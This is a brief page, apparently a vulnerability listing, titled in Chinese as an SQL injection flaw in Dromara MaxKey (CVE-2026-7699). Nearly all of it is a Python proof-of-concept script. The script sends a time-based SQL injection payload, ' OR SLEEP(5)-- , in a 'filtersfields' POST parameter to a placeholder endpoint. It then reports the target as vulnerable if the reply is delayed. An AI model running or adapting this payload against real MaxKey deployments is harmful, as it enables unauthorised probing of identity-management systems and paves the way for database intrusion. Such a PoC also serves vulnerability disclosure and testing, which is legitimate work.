CVE-2026-7699 Dromara MaxKey SQL注入漏洞

import requests # Exploit Title: Dromara MaxKey SQL Injection (CVE-2026-7699) # Description: PoC for SQL Injection via 'filtersfields' parameter target_url = "http://target-maxkey-endpoint/api/endpoint" session = requests.Session() # Payload to test SQL Injection (Time-based) payload = "' OR SLEEP(5)-- " # Data containing the vulnerable parameter data = { "filtersfields": payload, "other_param": "value" } try: response = session.post(target_url, data=data) if response.elapsed.total_seconds() > 5: print("[+] Vulnerable to SQL Injection!") else: print("[-] Not vulnerable or payload failed.") except Exception as e: print(f"[Error] {e}")